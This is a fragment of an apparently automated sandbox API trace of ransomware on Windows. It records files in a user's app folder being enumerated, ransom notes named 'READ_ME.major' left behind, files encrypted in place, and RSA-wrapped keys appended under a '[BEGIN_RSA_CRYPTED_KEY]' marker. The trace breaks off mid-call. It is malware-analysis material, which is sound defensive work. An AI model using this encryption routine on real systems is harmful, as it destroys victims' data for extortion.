ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.686] FindNextFileW (in: hFindFile=0x2f301d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.686] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6665a0 [0205.686] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fdbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f306d8 [0205.686] FindNextFileW (in: hFindFile=0x2f306d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fdbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.686] FindNextFileW (in: hFindFile=0x2f306d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.686] FindNextFileW (in: hFindFile=0x2f306d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.686] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666c18 [0205.686] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30098 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfac02fce, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xfac02fce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5757cb5f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x5757cb5f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x5757cb5f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5757cb5f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x5757cb5f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x5757cb5f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0205.687] FindNextFileW (in: hFindFile=0x2f30098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5757cb5f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x5757cb5f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x5757cb5f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0205.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669160 [0205.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60238 [0205.687] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0205.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669310 [0205.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.688] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1428 [0205.688] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.688] ReadFile (in: hFile=0x1428, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.688] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.688] WriteFile (in: hFile=0x1428, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.688] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.689] WriteFile (in: hFile=0x1428, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.690] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OhU4fEiK0BVmuNupARaBsIiqrhMX0dkBr+WoUy1iQCHkIpZecmnulYi414C51bdn\nQSBPknSJmFGYnj7Abm2sd3Dt6Rr0c54v2bm7Qfrgz18vehERLmoMCmH0pwgu729F\nKZgRW5y6yXWnqnO6pMZVoLnlpng6EaK9DuplzmV038T5k9ADFf0qDX9XsAf80uio\n09eXxTA6wxRc733t3bXkP+5ZDJYshNCeUBRyR19vXJyCu3wByqgfEn/z0tTihtAW\nSGe1bFO5InLKAeg2zCrSFy8NpoEza4+PjiYTqmd6y2QNihkKAYs+ouKDhz7AYNO8\nx7aAVMdPeDA6KENibHpKfg==\n", pcchString=0x2e3f9a8) returned 1 [0205.690] WriteFile (in: hFile=0x1428, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.690] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.690] WriteFile (in: hFile=0x1428, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.690] CloseHandle (hObject=0x1428) returned 1 [0205.701] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0205.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 [0205.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1428 [0205.703] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f938d8 [0205.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0205.703] ReadFile (in: hFile=0x1428, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.749] SetFilePointer (in: hFile=0x1428, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.749] WriteFile (in: hFile=0x1428, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.749] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.749] WriteFile (in: hFile=0x1428, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PuLyhB2rzZSThNcVIVyl0Z39xhTUUZJBmGi0KiqywATz8ISkIULDKy7082UIBCEH\nC+921cagqPDXxHB1X8SEzzmVdqKSa+vYcQd4t7QeZifVlGqpCsDYEjqqlfr8H+TA\nVSSbYRWiLLcYXSjyn/Ai1WPK2FETrP5qAdv8G7v4W92XhgVnqCveIkc52VBQx2yu\n9nFwtU6nvgm8OUW1Cnk7Pk8AfoseTjx0Ry1vdv3N6npWDgQYAmha+4jHc4s29rzx\nc7M6/69BasldTUdKP1IGE/b8XLVL1YKgY7q0Dtp54LqES3ITP64UFAn6ZNcWv9x4\nJm2yXZe9qCIgCapR7XAaEQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.750] WriteFile (in: hFile=0x1428, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.750] WriteFile (in: hFile=0x1428, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.750] CloseHandle (hObject=0x1428) returned 1 [0205.752] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0205.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e0b0 [0205.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1428 [0205.753] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8d8c0 [0205.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9d900 [0205.753] ReadFile (in: hFile=0x1428, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.770] SetFilePointer (in: hFile=0x1428, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.770] WriteFile (in: hFile=0x1428, lpBuffer=0x2f9d900*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9d900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.771] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.771] WriteFile (in: hFile=0x1428, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="I3VHVXga/STKrttH+IQl5MgBkl2Y7b2/pG9S/b3CyAtBMHWvSfD8MgGQ1nxtf4dY\nPWZjqEfZnaLLiU9q49recKH0mpsnj42bLMvgrfl5rTdbJxwcVE510u+h0FaKS7JD\neSd1SBeRLcpiEWlVpnTvwOVzQF4J3R2YF3x7fyjOrzdKHwdljk1I7F0roQvUsWla\nZvmgqp4RT6pg5gGbIdW4J8sZDmu/xlspT9rvYAJWwtQMsIG2YwZa+ZM/OKsyjlYz\n2NZJ899Hm9glX+772smBkqJqoQZqjhpJNeatqfYM30efRKci+MNcGC6VlBOUHf2t\nSr6f0BYGiPP/Pg1++hT3oQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.772] WriteFile (in: hFile=0x1428, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.772] WriteFile (in: hFile=0x1428, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.772] CloseHandle (hObject=0x1428) returned 1 [0205.773] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0205.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e1d8 [0205.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1428 [0205.774] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.775] ReadFile (in: hFile=0x1428, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.775] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.775] WriteFile (in: hFile=0x1428, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.775] SetFilePointer (in: hFile=0x1428, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.775] WriteFile (in: hFile=0x1428, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 